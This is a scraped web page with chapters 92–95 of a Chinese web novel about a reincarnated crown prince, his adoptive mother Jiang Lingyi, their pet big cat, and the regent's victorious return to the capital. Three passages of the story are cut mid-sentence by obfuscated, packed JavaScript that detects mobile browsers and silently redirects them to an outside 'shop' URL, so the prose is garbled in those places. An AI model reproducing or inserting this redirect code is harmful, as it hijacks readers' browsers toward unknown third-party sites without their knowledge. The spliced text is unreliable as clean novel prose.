但是高傲的猫科动物怎么可能容许有人在他头上撒野,胖猫站起来抖了抖毛当作听不懂他在说什么。 随着年龄的增长,胖猫的理解能力也越来越好了,刚刚楚怀谦指了指他的后背,跃跃欲试想爬上去的样子,一下子就让胖猫理解了他的意思,但他就是装作听不懂。 楚怀谦右手搂住胖猫的脖子,一副哥俩好的样子:“胖猫,猫大哥,好大哥,求求你了,带我玩儿吧。” 听到他喊“大哥”,胖猫犹豫了,因为当时把楚怀谦抱回来的时候,姜令仪就告诉他,这是他弟弟。 胖猫不知道人类如何对自己的兄弟,但是他一直在用自己的方式对他好,陪他玩儿,陪他锻炼,陪他吃饭,不开心的时候还哄他高兴,他一直都有努力当一个好哥哥的。 看他松动了,楚怀谦再接再厉:“大哥,求你了,要不我用三天的零食和你交换?” 一听零食,胖猫的眼睛顿时亮了,三天的零食诶,那驮他玩儿一会儿也可以。 胖猫美滋滋的趴在了地上,楚怀谦美滋滋的爬到了他的背上。 楚怀谦抱住他的虎头,还不忘控诉:“我就知道你肯定能听懂的,你和爹一样,碰到自己不喜欢的事情就装聋作哑不搭腔。” 胖猫只是一只可爱的猫猫,猫猫能有什么坏心思呢? 他站起来,摇了摇头,示意楚怀谦抓紧了,然后提速,一下子冲了出去,把暗中保护楚怀谦的人吓了一跳。 正犹豫着要不要现身,就听到了姜令仪一声怒吼:“胖猫,楚怀谦,给我下来。” 原来是胖猫自己跑着跑着就兴奋起来了,一下子蹿到了一棵不高的树上。 姜令仪一进门,就看见一道残影上了树,仔细一看,好啊,是胖猫驮着楚怀谦爬到树上了。 “你们可真会玩儿啊。” 胖猫和楚怀谦一人一猫站在她面前,低着头听训。 “说吧,是谁的主意?” 一人一猫对视一眼谁都不敢迈出第一步。 试完刀的于敏之来了,看见姜令仪在训他们,知道前因后果之后,立马笃定的指认楚怀谦:“肯定是他的之主意,之前就一直叨叨着想让胖猫带他和马赛跑呢,胖猫那么乖,一定是他威胁的胖猫。” 胖猫马上冲着于敏之软软的“嗷呜”了一声,每错,他就是这么可怜弱小又无辜,做这些都是被迫的。 楚怀谦咬牙,虽然确实是他的主意,但是看见胖猫这么心机,他不服。 姜令仪一个眼风扫过来,楚怀谦蔫儿了:“是我让胖猫带我玩儿的。” 他一承认,胖猫就抖起来了,看吧看吧,不关猫猫的事。 行,这件事的罪魁祸首确定了,姜令仪指了指墙角,楚怀谦自动站了过去,开始面壁思过。 保护着太子的暗卫啧啧称奇,他们是皇家专门的暗卫,只有皇帝能指挥的动他们,楚怀谦当过皇帝,所以知道他们的存在,直接从现在的皇帝那里找到了令牌,以太子的身份掌控他们。 在宫里的时候,楚怀谦永远都是一副全副武装好准备战斗的样子,小小年纪就能收拾了一手遮天的丞相,见惯了他搅风搅雨的模样,现在看到他乖乖站在墙角罚站,他们一时有些接受不能。 除了这些暗卫之外,还有一波是楚萧安排着保护他的暗卫,他们跟了楚怀谦两年多了最知道他私底下是什么模样,早就见怪不怪了,看同僚一副没见识的样子,他们心里暗暗鄙视,这才哪到哪啊,他们是没见过太子撒娇的样子,否则一定会怀疑太子被掉包了。 处理完楚怀谦,姜令仪看向了胖猫。 胖猫觉得自己的危机已经过去了,想凑过去跟姜令仪撒娇给楚怀谦求情,他可是答应了给自己零食呢。 姜令仪一只手抵住了他的猫头,拿出了零食盒:“胖猫,告诉我,是谁偷吃零食了?” 看见熟悉的盒子,干了坏事的胖猫一脸心虚,整只猫都僵硬了。 见鬼,偷吃零食被发现了。 这样显而易见的心虚,姜令仪都不需要审问,指了指楚怀谦旁边,胖猫就“哒哒哒”的过去了。 行了,现在哥俩儿开始一起罚站了。 不仅如此,姜令仪还令善工笔画的画师来给他们画了一幅画,她提了字,就叫《兄弟罚站图》。 “等百年之后,也让后人看看你们多能闯祸。” 这是丢人要丢到后世去了啊,楚怀谦捂脸。 这里兄弟俩还在罚站,姜令仪却已经问起了于敏之的武器使用感受如何。 于敏之带着他的新武器过来的,闻言把刀高高举起:“阿姐,这刀我用着也太顺手了,这是哪里搜罗来的?” 姜令仪笑道:“用的趁手就好,这刀乃是前朝名将云起的随身武器,日后可不许让宝刀蒙尘。” “居然是云将军的佩刀吗?”于敏之对他刚好不陌生,这两天夫子刚刚讲过云将军的事迹。 他承诺:“我一定会好好珍惜的。” 说起来,云将军也算是所有武将心里的白月光了,他年少成名,一生中大大小小的战役从无败绩,最擅长以少胜多的绝地反击,可惜不到三十岁就英年早逝了。 他的佩刀名为斩风,在云将军去世后就流落在外,姜令仪想给于敏之找一把武器的时候,正好在钱庄的收藏里看到了这把刀,第一眼,她就觉得这刀很适合于敏之。 果然也不出她所料。 楚怀谦心里酸酸的想:可不是适合吗,这刀上辈子就跟了他一辈子,这辈子居然还是回到了他手上,难道这就是缘分吗? 不过上辈子没有听说过钱庄和姜令仪之间的关系,好像是接手钱庄的人去世,临死前把钱庄解散了。 不过也很正常,现在他娘已经着手给钱庄转路子了,要不然,一个有能力有野心的上位者,是绝不会容许有这样的势力在他眼皮子底下壮大起来的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161526|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 楚怀谦满腹心思,没有分出思绪在旁边,姜令仪和于敏之在说话,胖猫就扭着大脑袋悄悄转头看,碰上姜令仪的目光,又飞快转过头去。 “习武免不了摔摔打打,但是也要注意身体……”见胖猫探头探脑的一直往这边看,姜令仪索性拿他当例子:“你看胖猫,学的东西也不少,每天也挺忙,但是都不耽误他偷吃,也不耽误他找人陪他玩耍。” 于敏之顺着她的视线看向胖猫,听到他的名字,胖猫生动的诠释了什么叫狗腿子的表情。 于敏之被他逗笑了,一直以来,他都被命运推着往前走,他总是感觉很紧张,仿佛有一个鞭子在他后面,不是对挨打的恐惧,而是“活下去”这个念头一直在鞭策着他。 成了姜家人之后,姜令仪从未对他提出过什么要求,但是他自己却不敢浑浑噩噩的享受生活,他怕自己愧对姜令仪对他的好,所以他一直在争分夺秒的学习,期望着早日能够撑起姜家,报答她的恩情。 于敏之一卷起来,带着楚怀谦也不得不卷,就是说,他重活一次,要是连于敏之这个新号都比不过,多丢人啊。 孩子们用功是好事,但是也要注意别累坏了身体,他们的努力程度连在宫外的姜令仪都有所耳闻,打听之后,连经过高考的姜令仪都觉得这个强度对孩子来说有点太压榨了。 她高中的时候五点半起床,十点半睡觉,一天到晚满满当当的课程,到了这里更不得了,他们四点多就起床了,一天排满了文化课和武课,时不时还要批会儿奏折,为了少干点活,楚怀谦拉着于敏之和他一起批奏折。 如果只是他一个人干活,总是觉得累,但是旁边有人分担,还能一起吐槽这些官员,顿时觉得看他们那些裹脚布一般的折子顺眼了许多。 一直忙活到差不多十二点才能入睡。 就算加上午休半个小时,这一天满打满算得休息时间也才五个小时,是小孩子精力旺盛吗? 姜令仪委婉提出自己的建议:“如果睡觉时间不够,会长不高的。” 身高或许是每一个男人的死穴,一听会长不高,连原本沉浸在自己思绪里的楚怀谦都一个激灵看了过来。 不会吧,晚睡真的会长不高吗? 他仔细想了想自己成年以后的身高,也就比楚萧低半头吧,他有点心虚。 前世他身体一直不好,姜令仪管他管得严,别说晚睡早起了,就是白日里工作量都不能太大了,这样调养了多年,他的身体才能勉强支撑下去,身高都不是他们关注的点,能活下去才是最重要的。 但是现在他身体好的很,绝对不能太矮了,“娘,你放心,我会看着他的。” 于敏之也点头:“我们回去就调整时间。” 看来也是很怕长不高了。 难得出来一趟,姜令仪也没有罚他们站很久,但是也没有让他们在这里留着吃晚饭。 姜令仪给楚怀谦理了理领子:“快回去吧,明天不是还要出城吗?今天准备出行那么多事情,肯定会有许多人去请示你的想法,现在偷跑出来是要把别人吓坏吗?” 楚怀谦嘟嘟囔囔的抱怨:“出去穿什么衣服还要问我,太子就那么两样衣服,我再挑也挑不出个花来啊,我看他们就是为了不担责任,所以才什么事都要我做主,等出了事,他们一推四五六,全推我身上去了。” 姜令仪:“一开始都是这样的,你不了解他们的秉性,他们也不了解你的做事风格,总要磨合一段时间来相互适应的。” 楚怀谦不太高兴的“嗯”了一声,他知道是这个道理,所以也只是抱怨两句,要是真的不和他心意,他早就把人换了。 他现在要让底下的人慢慢去摸索他的性格,并且这些只是他想让他们看到的,就比如之前的上折子事件,那些折子他楚怀谦一个也没看,他就是要告诉那些大臣,人海战术对他没用。 现在只是给他们一个警告,如果以后还出现这样集体上书妄图逼迫他妥协的事情,那楚怀谦就不跟他们客气了。 法不责众? 不存在的。 93. 第 93 章 93 正是晴朗的好天气,为了不让太子并一众官员被暴晒,楚萧贴心的给他们定了傍晚的时间,他不是多体恤那些大臣,只是知道姜令仪今天一定会到场,所以才会定了这个时间。 而且他还驳回了太子想要出城迎接的想法,他上了折子,大意就是:我真的很惶恐,作为臣子怎么能劳动太子殿下亲自出城相迎,应该是是我进宫去拜见太子殿下,万望殿下不要兴师动众,实在没必要。 这是表面上的折子,需要经过许多人的手才能到楚怀谦手里,所以楚萧写的格外恭谨,且情真意切,让不少人觉得摄政王其实也不是那种弄权之人,一时之间对他的印象好了许多。 但是他们不知道的是,随着奏折还过去了一封密信,里面只有一行字:不要出城,你娘怕热。 太子殿下原本兴致勃勃的想法就这么被打消了,他一开始没把折子放在心上,以为这是他爹的一个计谋,就是专门让那些大臣看到,但是随着密信的到来,好嘛,是他考虑不周了。 于是楚怀谦就改了地点,不去城外了,就在皇宫门口,姜令仪知道了之后,就去街边的酒楼订了位置,她不打算去皇宫等着了,直接在街边看不是更好吗? 楚怀谦退了一步,大臣们也很满意,这样做既给了摄政王面子,但也不算是上赶着,但是紧接着太子的一道旨意就让他们笑不出来了。 “摄政王夫妇于孤而言和父母无异,日后孤当对摄政王夫妇行晚辈礼。” “殿下……” 劝阻的话还没有说出口,就被张衡玉抢了先:“自古以孝治太小,摄政王是殿下养父,地位仅次于皇上,臣斗胆,摄政王夫妻也不应向太子行礼。” “这于理不合,殿下,君臣有别啊。” 然后被楚怀谦一句“君臣有别孝为先”堵了回去。 他们很想说,就算是孝,也应该先孝顺皇帝和太子母家啊,养父母怎么也得靠后排了。 但是看着大殿旁的目光灼灼瞪着他们的侍卫,以及他们腰间亮白的佩刀,这话还是没有说出口。 这些侍卫可都是摄政王亲自挑出来护卫太子的私兵,比起皇城根下的那些兵,这些上过战场的侍卫可不是他们那样的花架子。 于是姜令仪就接到了这么一个口谕。 她之前和楚怀谦的相处模式一点没变,别说他只是太子,就算是皇帝,她该怎么样还是怎么样,说到底,她缺乏对这个世界皇权的敬畏。 所以看到宫里大张旗鼓的来人,她还颇有些不知所措,不知道该怎么接旨。 领头的太监是姜令仪见过的,楚怀谦的贴身太监小福子,他一见姜令仪,就笑的和花一样灿烂,给她行礼。 按理来说,宣旨太监代表的就是宫里的主子,京城的百姓自诩见过不少大世面,以往那些宣旨的太监哪个不是牛气哄哄的,就算面对再得帝王心的人家,他们也是骄矜得很,丝毫不敢给自家主子丢了面子。 今天这个太子身边的太监不大对劲儿啊。 他不仅没让接旨的人家跪下听旨,还反过来自己行了礼,这可是代表着太子也给她行礼了啊。 众人的目光都转向了姜令仪,想看看她到底是什么来头。 好在小福子很快就贴心的告诉大家缘由:“王妃娘娘是太子养母,太子殿下有令,以后殿下和王妃只论母子,不论君臣,所以呐,您不仅不用给太子行礼,过年的时候殿下还说要给您磕头要压岁钱呢。” 周边的百姓都没有被驱赶,听到这里,他们纷纷开始夸奖太子有孝心。 “听说太子殿下被奸人所害,曾经流落到了凉州,是摄政王夫妇收养了殿下,太子殿下回来回来之后也不忘养父母恩情,真是有情有义啊。” “是啊,你们恐怕还不知道,凉州那里不是有一个很出名的书院吗,太子殿下就是在那里读的书,据说小小年纪就能排书院头几名,那里的学生对他都很信服。” “怪不得,这恐怕就是天生的帝王之相吧。” 这两年杂学书院的名气已经越来越大了,连京城的人都有所耳闻。 姜令仪总算知道了这件事,让明心拿银子:“给几位公公喝茶。” 自从小福子当了太子的贴身太监,每日给他塞银子的可谓是络绎不绝,而且大多数都是银票,小面额的都递不到他面前。 一次性几千两的银子他都收过,那些银子他收着丝毫不觉得烫手,因为他转手就会给了太子殿下,楚怀谦会赏他其中一部分,虽然少,但他拿着安心啊。 但是看着姜令仪递过来的银子,他心里抖了抖,这银子他要是收了,太子可不会给他好脸色的,他贴身伺候的,可是深知太子对摄政王妃的态度,他能来传旨是太子给面子,可不像是外人看到的那样,太子的贴身太监来就是对姜令仪的看重,这完全是反过来了。 小福子推辞:“王妃娘娘这是折煞奴才了,奴才求着殿下要了这份差事,哪里还能要您的茶水钱?” 姜令仪知道这些宫里的人都是人精,依着楚怀谦透露出来的意思,他恐怕还真不敢拿这几两银子,主要是怕给他的顶头上司留下不好的印象。 他要是收了钱,谁知道太子会不会想:好啊,我让你去传旨,你还收个茶水钱,这些不都是你应该做的事情吗?怎么还能赚点外快? 虽然姜令仪觉得楚怀谦不会因为这点小事计较,但是小福子谨慎一点也没错,她也没有强求,转身让厨房包了些点心送他们。 小福子犹豫了一下,最终还是接过:“那就多谢王妃了。” 姜令仪冲他点点头。 回府之后,小玉还有些不解:“太子殿下怎么忽然送了这么一道旨意过来?” 姜令仪也不知道,但这不妨碍她心情不错。 或许对很多人来说,这样一个见君不跪的旨意有什么用,顶多就是显得太子对他们荣宠之深,还不如换点实际的东西来的实在。 但是对于姜令仪来说,这却是最好的消息了。 说真的,如果她真的要对自己的孩子下跪行礼,她心里会别扭到不知道该怎么办才好,反正就她的思想来说,她跪天跪地跪父母,其余的想都别想。 如果一开始她和楚萧有身份差异,她需要每天给他下跪行礼,那后面不管楚萧有多优秀,对她多好,多符合她的择偶标准,他们都不会走到一起去的。 因为她这人受不了一点儿气,为了活命该行礼还是得行礼,之后呢,她只会拼命往上爬,直到她什么时候站在了高位,然后让楚萧也天天给她下跪行礼,等她觉得没意思了,就让他离自己远远的,不然看见他就来气,互生好感那是完全没可能的。 同样的,要是给自己儿子下跪,那她绝对有多远躲躲多远,然后连夜把楚家族谱上他的名字划掉,单方面和他断绝关系。 与此同时,离开了将军府的那些宫人,除了小福子以外的人都不理解为什么他对姜令仪这么恭敬,甚至到了畏惧的地步,连约定俗成的茶水钱都没有,他们这不是白跑一趟了吗? 小福子可没有跟他们解释的意思,别看这些小崽子们对他恭恭敬敬的,但是谁不知道谁呢,他们可就瞅准了机会把他拉下马,好上位成太子的贴身太监,他绝不会给他们有机会的。 小福子只是那一套官方说辞:“王妃娘娘是殿下养母,咱家怎么敢收王府的茶水钱?” 其余人面上笑着应和,心里却呸了他一脸,他不敢?这话谁信?连皇亲国戚的孝敬钱他都照收不误,怎么可能会因为那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176163|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子养母就手下留情。 既然他这样表现了,那就说明王府在太子心里的地位意义非凡,想清楚这些,他们也不敢再叽叽歪歪了。 小福子也不跟他们浪费时间,回宫之后就直奔演武场,这个时辰楚怀谦正和于敏之对练呢。 他去的时候,就看到太子被狠狠摔到了地上,旁边的侍卫一副习以为常的模样,于敏之冲楚怀谦伸手:“再来。” 楚怀谦躺在地上,拒绝起来:“我不行了,让我休息会儿。” 自从他们两个对打之后,他就一直是挨打的那个,太累了,让他休息一会儿。 于敏之擦了一把汗,坐到了他旁边:“行,那就先休息一下吧。” 小福子立马凑了上去,手里提着食盒:“太子殿下,于少爷,这是王妃娘娘让奴才拿的点心,要不您二位先垫一垫。” 楚怀谦坐了起来,看他打开的食盒,拿帕子擦了擦手,从里面拿了两块点心,递给了于敏之一块,又对小福子说:“剩下的你尝尝吧,这是将军府做的最好吃的糕点,看看味道怎么样。” 小福子珍惜的收了起来:“那奴才就多谢王妃娘娘的赏了。” 楚怀谦摆摆手,问他:“听到消息她心情怎么样?” 小福子是一个人精,换句话说,想在宫里活下来,察言观色是他们的本能,他自然也是其中一个。 “王妃娘娘很开心。” 小福子说的很笃定,从头到尾他一直关注着姜令仪的情绪,自然没有错过她听到口谕之后的开心,所以现在楚怀谦问起来,他说的格外肯定。 楚怀谦得意的看向于敏之:“怎么样,我就知道娘肯定喜欢的。” 于敏之头也不抬:“你送棵草她也开心。” “也是。” 送礼看的就是心意,所以才有“千里送鹅毛,礼轻情意重”的说法,心意到了,怎么样也会让收礼的人开心。 不过楚怀谦知道这礼绝对是送到她心坎上了,要是真让她以王妃的身份对他行礼下跪,那他以后就别想再看见人了。 不得不说,楚怀谦还是很了解她的。 城外不远的地方,楚萧也收到了太子的口谕,内容和姜令仪的差不多。 等传旨的太监走后,楚二问道:“将军,这是什么意思?” 楚五分析道:“不会是咱将军的功劳就换了这么一道口谕?这也亏大发了吧。” 想一想,要是你拼了老命把一个国家灭掉了,回来之后太子对你说,干得不错,以后特许你不用给我行礼了,还不赶紧感恩戴德? 想想就憋屈死了。 不过楚二又说:“小公子应该不是这个意思的。” 他们和楚怀谦都挺熟的,想当年他在书院闯了祸被请家长,他还试图让他们冒充他家长过去呢,无奈书院的先生都知道他是楚萧的儿子。 遂遗憾作罢。 依着他们的接触来看,楚怀谦绝对不是这样卸磨杀驴的人,尤其这头驴还是楚萧。 楚萧拿着一个小纸条,无奈制止了他们的猜测:“赏赐太多也不是什么好事,这次我打算什么都不要了,功劳都分给底下的兄弟们。” 他也知道那些大臣争论的事情,不过他并不在乎这些功劳,不过为了让楚怀谦在朝中更有话语权,他也不能太容易就松口。 挥手让面面相觑的暗卫出去,他打开了纸条。 “爹,这是我送娘的礼物,你想要什么告诉我,我给你搞定啊。” 他笑了起来。 这些天已经有许多人明里暗里试探他的想法了,有的是担心他,有的是提防他,但是不管谁来,他就只有一句话,他没有任何想法。 而这,就是他没有任何想法的原因。 94. 第 94 章 94 楚萧他们大军进城的时候,受到了百姓们极其热烈的欢迎,从还没进城门开始,两边就有翘首以待的百姓。 他们都想看看,打了胜仗的大英雄长什么模样。 进了城就更夸张了,街边全都是挤挤挨挨站在两旁的人,树上也吊了几个人,二楼打开窗户,也伸出来好几个脑袋。 姜令仪也从二楼的窗户往下看,感叹:“我从来不知道京城居然有这么多的人。” 这里是主街,他们军队从进城到宫门口肯定是要经过这里的,所以这一段路上的人也是最多的,除此之外,在离皇宫最近的那段路上也聚集了不少人,他们除了想看摄政王的英姿之外,也想碰碰运气,看看能不能见到太子长什么样子。 皇城根儿下的老百姓,闲得无聊了也闲话八卦一下那些官员,尤其是五年以上的京官,许多老百姓都对他们的脸印象深刻,毕竟见他们也不是多稀奇的事儿。 但是摄政王和太子他们就不认得了。 楚萧是从小在凉州生活,京城都没回来过几趟,百姓们对他长什么样儿也挺好奇,想看看他是不是真如传闻中说的那样,身高九尺眼如铜铃,一动气,眼睛就会射出雷电,大吼一声,就会地动山摇。据说摄政王就是因为有诸多奇异之处才能这么快打胜仗的。 而他们对太子的好奇心,则更多的源于对皇权的敬畏,这可是太子,这个国家未来的主人,如果能见他一面,那么多年以后,这仍然是他们所津津乐道的一件事,可能会和儿孙反复提及:“你们爷爷/奶奶当年可是见过皇帝的” “来了,来了。” 黑压压的军队甫一出现,原本嘈杂的现场鸦雀无声,都用无声的敬佩的目光注视着每一个走过的将士。 他们迎面而来的煞气,让原本兴致勃勃的百姓们不敢肆意,这可都是从战场上刚下来的士兵,每个人身上都沾满了血,有敌人的,也有同袍的,这种不一样的经历让他们有一种肃杀的气质,也让直面他们的普通人噤声。 姜令仪也看到了楚萧,他骑马走在大军的最前方,和他挑好的接替他的主将并排而行,比起那个虎背熊腰的将军,楚萧在他的衬托下显得更加清瘦,但若论起气势,楚萧这个年轻人把一众资历深厚的老将压的死死的。 他板着脸,没什么表情的听着旁边那人说话,目光在两侧的百姓身上巡睃一圈,被他视线扫到的人都下意识挺胸抬头,以最好的精气神面对他的查阅。 经过这场战争,他变得更加有威严了,楚将军离开,他也游刃有余的撑起了楚家的门楣,若说楚将军做到了农家子逆袭的极致,那楚萧,则是青出于蓝而胜于蓝的表率了。 “二哥,接着。” 原本听到破空而来的声音时,楚萧已经开始本能的想要反击了,但是随后而来熟悉的声音,让他止住了自己的动作,改击为抓,把刚刚他疑为暗器的东西抓到了手里。 是一朵花。 楚萧并没有看向手里的东西,而是顺着被扔下来的路径看向了二楼,映入眼帘的,就是姜令仪那明晃晃的笑脸。 她笑的无忧无虑,丝毫不知道,那笑容对楚萧来说是怎样的勾人心弦。 楚萧也回了他一个笑,浅浅的,若不是姜令仪视力很好,肯定看不见这个小小的笑容。 但她看见了,兴奋的指挥着小玉抱来了一个篮子,往外一抛,洋洋洒洒的下起了花瓣雨。 还没反应过来,楚萧就看到花瓣砸了过来,他没躲,任由自己身上沾满了馥郁的香气。 一旁的黑脸将军也被牵连到了,“呸呸呸”的吐出不小心进嘴里的花瓣,小声问:“王爷,咱们加速吧?” 有了姜令仪开头,不少人都拿出了自己准备的东西,有荷包、手帕、吃食、鲜花、水果等等,种类异常丰富,一开始他们被逼人的气势所迫,完全想不起来这回事了,姜令仪一动,像是开关一样,所有人都活了起来。 看着他们跃跃欲试寻找目标的眼神,楚萧默默夹了夹马腹,拿起马鞭朝姜令仪挥了挥手,然后迅速和后面拉开了距离,黑脸将军紧随其后。 后面级别不够只能靠腿走的将士们,一边控制着自己的表情,一边眼疾手快的躲着“暗器”,心里暗暗下定决心,自己也要赶紧立功,不能骑马太受罪了,一个将士呲牙列嘴的接住了一个拳头大的果子。 楚萧骑马疾行了一会儿,就慢了下来等着后面的大部队,黑脸将军和他八卦:“王爷,有没有什么办法能让夫人听自己的话?” 这黑脸将军姓鲁,是跟着楚将军时间很长的一个长辈了,虽然心里腹诽长辈很不地道,但随着他的问话,楚萧自然而然的想起了,自己的暗卫们曾经八卦过鲁将军的事情。 他的亵裤上打着补丁呢。 看着鲁将军希冀的眼神,楚萧不忍心告诉他,其实自己在家里也没什么地位,在外面威风八面的摄政王和太子,到了家里,都只有乖乖听话的份儿。 想了想,楚萧还是决定给他支个招:“你多哄哄自己夫人,只要她高兴了,不是什么过分的要求她肯定会答应的。” 比如说换一个没补丁的亵裤,这绝对没问题。 鲁将军挠了挠头发,想起来一会儿还要面见太子和文武百官,有小心翼翼的顺了顺头发,把刚刚弄乱的头发恢复原样。 然后苦恼道:“我也不知道怎么哄人啊,之前我也不是没有哄过她,但是每次她都不高兴。” 楚萧生起了些好奇心,根据他为数不多的经验来讲,不可能会发生这样的事情的,每次他和他爹哄人之后,姜令仪和如安公主都很开心啊。 “你仔细说说。” 反正后面还没跟上来,鲁将军就把以前的事情跟他说了一遍。 他们以前家里穷,鲁夫人省着肉给孩子吃,每次都说她不爱吃肉,最喜欢啃窝窝头,鲁将军虽然不理解为什么有人会不爱吃肉,但他会特意去买窝窝头给鲁将军吃。 还有一次他听到鲁夫人和婢女说自己不喜欢金银首饰,戴着累赘,有这些钱还不如买个织布机,她以前织布可是织的又快又好的,的确如此,鲁将军暗暗点头,以前全是靠着她织布的手艺养活了一大家子。 于是鲁将军就把刚刚给她买的金簪退了,买了一个织布机给她。 这些都还好,最惨的一次,就是同僚送了几个女人,说让他们回去服侍他,鲁将军想,正好让这几个人回去伺候夫人,就收下了,领回去之后就被劈头盖脸一顿打,现在想想他还心有余悸。 听完之后,楚萧是真的无语了,要不是这是鲁将军说的他的亲身经历,但凡在别的地方听到这样的事,楚萧都会认为这是无稽之谈,真的会有这样的人吗? 鲁将军告诉他,有的,他就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187029|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 其实这事情很简单,但凡两个人有一个开窍的,都不至于成了现在这样,鲁夫人嘴硬,她从来不说自己喜欢什么,就算喜欢也硬要说不喜欢。鲁将军憨直,夫人说什么他信什么,弄了许多乌龙,就这样的敏锐程度,他真的能放下把边关交给他吗? 楚萧忧心忡忡。 不过他还是好心教鲁将军:“以后不管你夫人再怎么说不喜欢,你把自己认为好的东西送给她就行了。” 鲁将军犹豫:“这样真的没问题吗?” “你先试试。” 楚萧的话也不敢说死,谁知道他们夫妻两个会不会又有什么让人意料不到的操作。 鲁将军决定还是试一试,毕竟楚萧看起来和夫人关系很好的样子,他的意见一定是有可取之处的。 为了不让自己的计策失败,楚萧还给出了详细的方法:“这次不是在吴国搜罗了不少金银吗?全部都给了你夫人。” 鲁将军一脸肉疼:“全部吗?” “全部。” 以前他们打仗根本不能自己留一部分,这还是他们军中现在不缺钱的缘故,有卖盐的利润支撑,也有太子盯紧了户部,他们根本不敢拖延军费。 多年以后再次分了点战利品,鲁将军还想留点私房钱呢,但是想到姜令仪抛花瓣的场景,鲁将军咬了咬牙,行吧,全给就全给。 但是楚萧还是没想到,他就差手把手的教他怎么做了,没想到还是差点失败。 要说差点失败的原因,就在鲁将军那张嘴上了,他是真的一点儿都不会说话,拿他的事迹当反例,那就完全是一门说话的艺术完整课程。 他一点儿都不掩饰自己的不甘愿,肉疼的把东西交给了鲁夫人,对她说:“夫人,我把这些钱给你了,你以后要对我好点,别总是一副凶巴巴的母老虎样子,让我在外面抬不起头来。” 要不是楚萧派了人跟着,有把他的话润色了一番,鲁将军顾忌要被掐的挠的不能见人了。 解决了鲁将军的心头大石,楚萧的知心王爷也当到了头,调节问题不是他的强项,所以看到鲁将军一脸求知欲的想再次请教的时候,他板着脸开口:“跟上来了,走吧。” 大部队闯过了热情了围观百姓,快速而整齐的朝他们走了过来,鲁将军也只能把未出口的话咽了下去,跟着楚萧继续前进。 没走多久,他们就看到了巍峨的皇城,和在宫门口的人。 这大概是晋国最有权力的那一批人了,除了随行的宫女太监,能有资格站在这里的,无一不是手握重权的人物,他们的一句话,都有可能会掀起一番风浪。 而现在,他们都恭恭敬敬的站在楚怀谦后面,哪怕再累,都没有人敢有丝毫怨言。 这是他们第一次和这个年轻人交锋,自然要以自己最好的姿态来对待他们的第一次会面,他们这么多人,在阵仗上绝不会输。 在他们见到楚萧之前,大部分人都是这样想的。 而且楚萧才多大? 他的年纪能当这里大部分人的孙子了。 但是随着一阵马蹄声传来,这位只闻其名的摄政王闯入了他们的视线。 第一印象就是锋锐,有着一往无前的气势,如果他们再年轻那么十来岁,一定会被他的锐气所折服。 但是他们老了。 所以他们犹豫了。 95. 第 95 章 95 “爹。” 楚怀谦做了口型喊他一声,然后在他翻身下马后就扶住了他的胳膊:“摄政王辛苦了。” 然后亲切的和鲁将军寒暄几句,几句话就让这个老将亲切极了,一口一个太子殿下,完全没有在路上嘀咕太子会不会性情大变的担忧。 没错,鲁将军也是楚怀谦的熟人了,他以前也从暗卫口中知道了鲁将军夫妻的趣事,现在想起来,还体贴的给了鲁夫人赏赐。 “正是因为有鲁夫人这样的人,才能为将士们稳定大后方,将军有位贤内助啊。” 鲁将军和夫人相互扶持走到了现在,虽说生活中也少不了磕磕绊绊,但是两人之间的情谊是毋庸置疑的。 听到这话,他跪下替夫人谢恩:“多谢太子殿下。” 世人总是对女子苛刻太过,鲁夫人是地道的农妇出身,到现在也改不了以前的一些习惯,为此没少遭人白眼。 有了太子的赏赐,看谁还能在这方面苛责她。 除了领头的二人,在他们身后,楚怀谦也看到了许多熟悉的面孔,但是更多的他连脸都看不太清。 “诸位将士,辛苦了。” 千言万语,最终只酝酿出来了这句话,他眼眶微红,说话还有些哽咽,楚怀谦朝着他们深深一揖,来表示自己的感谢。 其余的话他没有说,只吩咐身旁的人去准备庆功宴,“今日诸位不醉不归。” 边关苦寒,常用烧酒来暖身体,但又因为军中规定,他们根本不敢在平常训练的时候喝酒,休息的时候又已经养成了习惯,所以细想一下,许多人已经忘了酒是什么味道了。 开心还不过一秒,看见前方肃立的楚萧,他们蠢蠢欲动的心思就完全被压了下去,算了,酒也没那么好喝,有那闲钱还不如买只烧鸡解解馋。 别说普通的士兵了,就连鲁将军都有一瞬间的动摇,不过楚萧朝他看了一眼,那淡淡的眼神就像是迎面给他泼了一头冷水,让他瞬间清醒过来。 连忙推辞:“殿下,军中禁酒,喝酒就算了。” 被拒绝了,楚怀谦也没有坚持,而是好奇的问道:“军营里都是滴酒不沾的吗?” 他这个问题让鲁将军不明所以,禁酒的时候太子不是还在凉州吗? 其实楚将军一直都有下禁酒令,违者打二十大板,但是比起打板子,许多兵痞子更舍不下这杯中之物,他们宁愿挨打也要时不时去偷偷喝几杯,结果就撞枪口上了。 